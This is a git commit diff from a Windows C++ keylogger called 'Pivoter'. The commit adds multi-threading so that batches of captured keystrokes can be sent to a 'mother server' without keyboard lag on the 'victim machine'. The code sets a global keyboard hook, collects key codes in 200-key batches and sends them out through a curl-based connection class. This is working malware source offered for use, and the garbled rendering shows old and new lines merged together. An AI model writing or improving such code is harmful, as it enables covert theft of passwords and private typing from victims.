Pivoter: Add multi-threading

The program now supports a simple multi-threading solution that solves
the issue of the keyboard lag in a case where there's noticable latency
between the victim machine and the mother server.
This commit is contained in:
osamu 2023-01-01 09:12:06 -08:00
parent 277f473d6d
commit 7896e5ac20
2 changed files with 16 additions and 4 deletions

View File

@ -9,7 +9,6 @@
#include <Windows.h> #include <Windows.h>
#include <WinUser.h> #include <WinUser.h>
#include <vector> #include <vector>
#include <thread>
#include "codes.h" #include "codes.h"
#include "connections_pivoter.h" #include "connections_pivoter.h"
#include "security_checker.h" #include "security_checker.h"
@ -18,15 +17,27 @@
#define KEYS_LIMIT 200 #define KEYS_LIMIT 200
HHOOK keyboard_events_hook; HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes; std::vector<std::string> virt_codes;
std::vector<std::string> thread_codes;
ConnectionsPivoter mother_server_pv = ConnectionsPivoter(); ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
DWORD WINAPI send_codes_thread_function(LPVOID keys) {
std::vector<std::string>* keys_ptr = static_cast<std::vector<std::string>*>(keys);
bool res = mother_server_pv.send_codes(*keys_ptr);
if (DEBUG && !res) {
std::cout << "Failed sending to the mother server!" << std::endl;
return 1;
}
return 0;
}
void stack_codes() { void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT) if (virt_codes.size() < KEYS_LIMIT)
return; return;
bool res = mother_server_pv.send_codes(virt_codes); thread_codes = virt_codes;
if (DEBUG && !res) HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL);
std::cout << "Failed sending message to the mother server" << std::endl;
virt_codes.clear(); virt_codes.clear();
} }

View File

@ -55,6 +55,7 @@ static const BYTE key[] = {
}; };
BOOL ConnectionsPivoter::send_codes(std::vector<std::string> codes) { BOOL ConnectionsPivoter::send_codes(std::vector<std::string> codes) {
if (!this->curl) if (!this->curl)
return false; return false;